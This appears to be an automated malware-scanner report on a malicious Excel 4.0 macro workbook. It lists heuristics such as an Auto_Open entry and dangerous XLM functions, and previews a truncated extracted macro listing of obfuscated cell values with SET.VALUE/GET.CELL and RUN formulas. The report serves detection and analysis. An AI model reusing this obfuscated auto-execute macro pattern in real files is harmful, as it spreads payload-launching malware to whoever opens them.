MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is configured to execute dangerous formula APIs, specifically RUN and SET.VALUE. The RUN function is likely used to execute a downloaded payload, and the SET.VALUE function is used to manipulate cell values, potentially for obfuscation or further execution. The presence of these dangerous functions and the Auto_Open entry strongly suggests a malicious intent to download and execute a second-stage payload.
Heuristics 3
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 129447 bytes |
SHA-256: 59a54c31f40628872d65f52240bbf4fbdb2733f64925b5e369d2355b84b6047d |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Sheet ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!P22099 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' Sheet,GQ19,"",-284.00000000000000000000 ' Sheet,IO21,"",-250.00000000000000000000 ' Sheet,A32,"",-336.00000000000000000000 ' Sheet,BL65,"",441.00000000000000000000 ' Sheet,JC76,"",493.00000000000000000000 ' Sheet,BK79,"",-0.17286245353159851446 ' Sheet,CZ97,"",0.10396039603960395559 ' Sheet,FW106,"",835.00000000000000000000 ' Sheet,FZ151,"",-3.64814814814814836197 ' Sheet,JP175,"",222.00000000000000000000 ' Sheet,O178,"",-386.00000000000000000000 ' Sheet,DI240,"",188.00000000000000000000 ' Sheet,DK270,"",467.00000000000000000000 ' Sheet,GA285,"",-435.00000000000000000000 ' Sheet,F343,"",223.00000000000000000000 ' Sheet,GJ346,"",4.32592592592592595224 ' Sheet,FB474,"",-117.10007812499999602096 ' Sheet,CR560,"",0.32103321033210330260 ' Sheet,HV580,"",-0.13011152416356877581 ' Sheet,HM601,"",531.00000000000000000000 ' Sheet,FK746,"",-8.20833333333333392545 ' Sheet,JL780,"",-12.22727272727272662678 ' Sheet,IK793,"SET.VALUE(IK15853,-488.00000000000000000000-GET.CELL(8,HU28878)*10)","" ' Sheet,IK794,RUN(DZ13813),"" ' Sheet,O842,"",-654.00000000000000000000 ' Sheet,HP860,"",-118.00000000000000000000 ' Sheet,BN898,"",0.11538461538461539102 ' Sheet,DH945,"",-100.50000000000000000000 ' Sheet,CD991,"",0.51541850220264318061 ' Sheet,EK1053,"",-173.00000000000000000000 ' Sheet,CT1056,"",-63.00000000000000000000 ' Sheet,DQ1068,"",-222.00000000000000000000 ' Sheet,BQ1119,"",120.00000000000000000000 ' Sheet,DO1167,"",-0.05354645354645354988 ' Sheet,HH1170,"",384.00000000000000000000 ' Sheet,GJ1182,"",0.19096509240246406502 ' Sheet,GF1217,"",522.00000000000000000000 ' Sheet,DH1227,"",0.16837782340862422759 ' Sheet,IQ1358,"",-159.00000000000000000000 ' Sheet,BK1373,"",506.00000000000000000000 ' Sheet,EU1411,"",484.00000000000000000000 ' Sheet,CH1451,"",-655.00000000000000000000 ' Sheet,IY1465,"",-0.35000030517578123446 ' Sheet,GE1518,"",-0.06319702602230482802 ' Sheet,DP1550,"",172.00000000000000000000 ' Sheet,EA1563,"",-10.97959183673469318876 ' Sheet,EL1692,"",-3.75238095238095237249 ' Sheet,IO1726,"",7.26865671641791077917 ' Sheet,GH1769,"",-157.00000000000000000000 ' Sheet,CJ1778,"",293.00000000000000000000 ' Sheet,FS1821,"",431.00000000000000000000 ' Sheet,HK1826,"",0.09545454545454545858 ' Sheet,CF1847,"",-871.00000000000000000000 ' Sheet,BR1887,"",-103.12500000000000000000 ' Sheet,HP1920,"",-8.38297872340425520576 ' Sheet,BA1958,"",8.36000488281250042633 ' Sheet,DG2041,"",-0.22000015258789062944 ' Sheet,GP2069,"",-58.00000000000000000000 ' Sheet,FK2200,"",-34.12500000000000000000 ' Sheet,CP2264,"",-0.20304568527918781529 ' Sheet,JN2279,"",0.10266940451745379392 ' Sheet,CC2307,"",22.82926829268292578945 ' Sheet,DX2330,"",-476.00000000000000000000 ' Sheet,DF2357,"",-2.50000000000000000000 ' Sheet,DF2364,"",-133.00000000000000000000 ' Sheet,GR2387,"",501.00000000000000000000 ' Sheet,EX2498,"",-177.00000000000000000000 ' Sheet,IW2502,"",0.49577464788732394929 ' Sheet,CH2580,"",0.19383259911894273886 ' Sheet,DO2597,"",-6.81012658227848088899 ' Sheet,CQ2600,"",-2.11111111111111116045 ' Sheet,FT2650,"",646.00000000000000000000 ' Sheet,BU2660,"",-563.00000000000000000000 ' Sheet,JN2694,"",0.10576923076923076816 ' Sheet,FR2714,"",0.24634146341463414309 ' Sheet,R2730,"",-314.00000000000000000000 ' Sheet,GA2772,"",308.00000000000000000000 ' Sheet,HN2773,"",828.00000000000000000000 ' Sheet,DT2794,"",-902.00000000000000000000 ' Sheet,DH2852,"",-0.07272727272727272374 ' Sheet,D2907,"",0.13347022587268994598 ' Sheet,IX2931,"",-0.12878787878787878451 ' Sheet,DU2938,"",6.49333333333333 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.